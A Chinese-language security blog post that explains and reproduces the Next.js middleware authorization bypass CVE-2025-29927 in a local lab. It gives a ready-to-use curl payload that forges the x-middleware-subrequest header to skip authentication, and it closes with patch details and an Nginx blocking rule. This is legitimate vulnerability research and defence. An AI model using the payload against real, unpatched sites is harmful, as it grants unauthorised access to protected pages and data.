Skip to content
Kurisu
Go back

Next.js CVE-2025-29927:中间件认证绕过复现

1. 漏洞概述

CVE-2025-29927(GitHub Advisory:GHSA-f82v-jwr5-ff7m)是 Next.js Middleware(中间件)鉴权绕过漏洞,由安全研究员 zhero__(Rachid A.)发现,2025 年 3 月 21 日官方公告披露。

漏洞核心:Next.js 使用内部请求头 x-middleware-subrequest 识别”中间件自己发起的内部子请求”,并在满足特定条件时跳过中间件执行。该请求头完全由客户端可控且未做校验,攻击者只需在请求里伪造一个特殊构造的头,就能让服务端认为这是内部子请求,从而直接绕过中间件里的所有鉴权/访问控制逻辑,未授权访问受保护路由。

项目内容
CVECVE-2025-29927(GHSA-f82v-jwr5-ff7m)
漏洞类型中间件鉴权绕过(Authorization Bypass)
影响版本< 12.3.5 / < 13.5.9 / < 14.2.25 / < 15.2.3(自 1.11.4 起)
修复版本12.3.5、13.5.9、14.2.25、15.2.3
CVSS9.1(Critical),CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
攻击条件应用使用 Middleware 做鉴权/访问控制(如校验 Cookie、Token、IP 白名单)

⚠️ 触发条件非常苛刻:只有把”安全边界”放在 Middleware 里的应用才受影响。鉴权写在 Route Handler、Server Component 或后端服务里的应用不受影响。这也侧面说明了一个架构教训:中间件不是安全边界。

2. 漏洞原理

2.1 内部子请求机制

Next.js 的 Middleware 运行在 Edge 沙箱里。当中间件内部发起子请求时(例如调用 fetch() 请求站内 API),沙箱里的 fetch polyfill 会把这个中间件的模块名追加x-middleware-subrequest 请求头中,冒号分隔(dist/server/web/sandbox/context.js,15.2.2):

// 沙箱 fetch polyfill:把中间件模块名追加到内部子请求头
const store = requestStore.getStore();
if (store?.headers.has('x-middleware-subrequest') && !init.headers.has('x-middleware-subrequest')) {
    init.headers.set('x-middleware-subrequest', store.headers.get('x-middleware-subrequest') ?? '');
}
const prevs = init.headers.get(`x-middleware-subrequest`)?.split(':') || [];
const value = prevs.concat(options.moduleName).join(':');
init.headers.set('x-middleware-subrequest', value);

这样做的目的是防止无限递归:子请求再次进入中间件时,需要知道”这个请求已经跑过我一次了”。

2.2 递归深度判断(漏洞点)

当请求再次进入中间件执行流程时,沙箱的 run() 函数会统计该头中出现当前中间件名的次数,超过 5 次(MAX_RECURSION_DEPTH)就直接短路,返回一个”继续放行”的空响应,根本不执行中间件函数dist/server/web/sandbox/sandbox.js,15.2.2):

const subreq = params.request.headers[`x-middleware-subrequest`];
const subrequests = typeof subreq === 'string' ? subreq.split(':') : [];
const MAX_RECURSION_DEPTH = 5;
const depth = subrequests.reduce((acc, curr) => curr === params.name ? acc + 1 : acc, 0);
if (depth >= MAX_RECURSION_DEPTH) {
    return {
        waitUntil: Promise.resolve(),
        response: new runtime.context.Response(null, {
            headers: { 'x-middleware-next': '1' }   // 等价于中间件直接 next() 放行
        })
    };
}
// ... 正常执行用户中间件 edgeFunction

2.3 攻击手法

关键问题:x-middleware-subrequest客户端可以任意伪造的,服务端没有校验它是否真的来自内部子请求。

# 绕过载荷:中间件名(按实际位置取 src/middleware 或 middleware)重复 5 层
curl -H "x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware" https://target/admin

为什么是 5 层而不是 1 层?因为判断条件是”出现次数 ≥ 5”而不是”包含即可”,1 次只算 depth=1,中间件照常执行;必须填满 5 层才触发短路。

3. 复现

3.1 搭建受影响版本

create-next-app 快速搭一个 14.2.24(受影响版本)项目,把默认首页换成受保护的后台页:

# 创建项目(脚手架自带最新版,需手动降级)
npx create-next-app@latest cve-2025-29927-lab --ts --app --no-tailwind --no-eslint
cd cve-2025-29927-lab
npm i next@14.2.24          # 降到受影响版本

写一个保护 /admin 的中间件(src/middleware.ts):

import { NextRequest, NextResponse } from 'next/server';

// 本地实验用"密码",实际场景通常是 JWT/Session 校验
const ADMIN_TOKEN = 'lab-secret-token';

export function middleware(request: NextRequest) {
  const token = request.cookies.get('admin_token')?.value;
  if (token !== ADMIN_TOKEN) {
    // 未认证:重定向到登录页(307)
    return NextResponse.redirect(new URL('/login', request.url));
  }
  return NextResponse.next();
}

export const config = {
  matcher: ['/admin/:path*'],
};

再写受保护的页面(src/app/admin/page.tsx):

export default function AdminPage() {
  return <h1>Admin Panel(受保护内容)</h1>;
}

启动服务:

npm run dev    # http://localhost:3000

3.2 攻击对比

正常请求:没有 admin_token Cookie,中间件拦截并 307 重定向到 /login

$ curl -i http://localhost:3000/admin
HTTP/1.1 307 Temporary Redirect
location: /login
content-type: text/plain; charset=utf-8
...

伪造 x-middleware-subrequest 请求:中间件被直接跳过,未认证直接拿到管理页 200:

$ curl -i -H "x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware" \
  http://localhost:3000/admin
HTTP/1.1 200 OK
content-type: text/html; charset=utf-8
...
<h1>Admin Panel(受保护内容)</h1>
请求中间件执行结果
GET /admin✅ 执行,Token 校验失败307 → /login
GET /admin + 伪造头(5 层)❌ 被短路跳过200,直接返回管理页

💡 如果中间件在根目录(middleware.ts 而非 src/middleware.ts),把载荷里的 src/middleware 换成 middleware 即可。拿不准时,直接看构建产物 .next/server/middleware-manifest.json 里的 middleware key。

4. 影响

5. 修复

1. 升级到修复版本(首选)

受影响分支修复版本
12.x12.3.5
13.x13.5.9
14.x14.2.25
15.x15.2.3
npm i next@14.2.25   # 以 14.x 为例

修复原理(15.2.3):服务启动时生成一个随机 middleware-subrequest-id(8 字节随机数,存于进程全局),入口处对所有请求执行 filterInternalHeaders(),只有当请求携带的 x-middleware-subrequest-id 与该随机值匹配时才信任 x-middleware-subrequest,否则直接删除该头——外部伪造的头在到达沙箱前就被剥掉了:

// 15.2.3 dist/server/lib/server-ipc/utils.js
const filterInternalHeaders = (headers) => {
  for (const header in headers) {
    if (INTERNAL_HEADERS.includes(header)) {
      delete headers[header];
    }
    // 不是本进程内部子请求 → 剥掉伪造的 x-middleware-subrequest
    if (header === 'x-middleware-subrequest' &&
        headers['x-middleware-subrequest-id'] !== globalThis[Symbol.for('@next/middleware-subrequest-id')]) {
      delete headers['x-middleware-subrequest'];
    }
  }
};

2. 无法立即升级时:WAF/网关层拦截

NVD 官方建议:在反向代理 / WAF / CDN 层直接拦截包含 x-middleware-subrequest 的外部请求(正常客户端请求永远不会带这个头)。例如 Nginx:

# 外部请求携带内部头一律 403(Nginx 默认会丢弃下划线头,这里是双保险)
if ($http_x_middleware_subrequest) {
    return 403;
}

雷池(SafeLine)等 WAF 也可加自定义规则:Header: x-middleware-subrequest 命中即拦截。

3. 架构层:不要用中间件做安全边界

参考


Share this post:

Previous Post
Vulnhub DC-1 完整渗透:从信息收集到提权
Next Post
我的第一个漏洞:一条短信平台密钥的发现与提交